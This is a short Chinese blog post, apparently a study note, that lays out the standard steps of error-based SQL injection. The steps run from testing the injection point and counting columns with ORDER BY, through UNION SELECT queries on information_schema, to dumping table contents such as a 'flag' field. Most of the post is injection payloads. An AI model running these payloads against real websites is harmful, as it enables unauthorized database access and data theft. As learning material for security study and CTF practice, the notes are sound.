zoukankan      html  css  js  c++  java
  • SQL 显错注入的基本步骤

    又回来了,哎,感觉这块是短板,我需要花三个月时间把这块补一补。

    显错注入,从找点,到最后显名的完整流程。

    这是个流程框架,内部可能还会有一些细微修改。

    1:判断注入点
    and 1=1 正常
    and 1=2 出错

    2:判断字段总数
    and 1=1 order by 1
    and 1=1 order by 2
    and 1=1 order by 3
    直到出错,得到总数

    3:判断显示位置
    and 1=1 union select 1
    and 1=1 union select 1,2
    and 1=1 union select 1,2,3
    直到正确,或者有字符显示出来

    4:查询当前库名
    and 1=1 union select 1,2,database()
    等它显示出来

    5:查表名
    and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1
    等它显示出来

    6:查列名
    and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 0,1
    and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 1,1
    and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 2,1
    直到出错

    7:字段内容
    and 1=2 union select 1,Id,flag from 表名 limit 0,1

  • 相关阅读:
    Nginx报400 Bad Request
    当前系统代理不是安全代理,是否信任
    nginx反向代理解决跨域问题
    SQL Prompt快捷键
    本地SQL Server怎么连接服务器上的数据库
    进制之间的转换
    计算机知识汇总
    C#语言学习记录
    excel常用技巧
    T-SQL学习记录
  • 原文地址:https://www.cnblogs.com/suanguade/p/12730938.html
Copyright © 2011-2022 走看看